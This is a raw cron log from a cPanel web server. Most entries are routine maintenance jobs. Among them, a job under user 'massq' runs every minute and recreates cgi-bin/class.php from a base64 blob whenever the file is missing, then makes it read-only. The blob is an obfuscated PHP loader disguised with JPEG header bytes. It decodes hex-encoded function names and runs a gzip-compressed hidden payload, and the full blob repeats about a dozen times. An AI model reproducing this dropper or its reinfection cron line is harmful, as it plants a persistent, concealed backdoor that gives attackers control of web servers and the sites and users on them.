Sep  8 19:28:01 server CROND[9090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:28:01 server CROND[9091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:29:01 server CROND[9469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:29:01 server CROND[9470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:29:01 server CROND[9471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:30:01 server CROND[9960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:30:01 server CROND[9961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:30:01 server CROND[9964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:30:01 server CROND[9965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:30:01 server CROND[9966]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:30:01 server CROND[9970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:30:01 server CROND[9971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:30:01 server CROND[9969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:31:01 server CROND[10878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:31:01 server CROND[10879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:31:01 server CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:32:01 server CROND[11268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:32:01 server CROND[11269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:32:01 server CROND[11270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:33:01 server CROND[11655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:33:01 server CROND[11656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:33:01 server CROND[11657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:34:01 server CROND[12044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:34:01 server CROND[12045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:34:01 server CROND[12046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:35:01 server CROND[12531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:35:01 server CROND[12533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:35:01 server CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:35:01 server CROND[12543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:35:01 server CROND[12545]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 19:35:01 server CROND[12542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:35:01 server CROND[12539]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:35:01 server CROND[12538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:35:01 server CROND[12541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:36:01 server CROND[13413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:36:01 server CROND[13414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:36:01 server CROND[13412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:37:01 server CROND[13790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:37:01 server CROND[13791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:37:01 server CROND[13792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:38:01 server CROND[14212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:38:01 server CROND[14213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:38:01 server CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:39:01 server CROND[14591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:39:01 server CROND[14592]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 19:39:01 server CROND[14590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:39:01 server CROND[14593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:40:01 server CROND[14989]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:40:01 server CROND[14990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:40:01 server CROND[14992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:40:01 server CROND[14999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
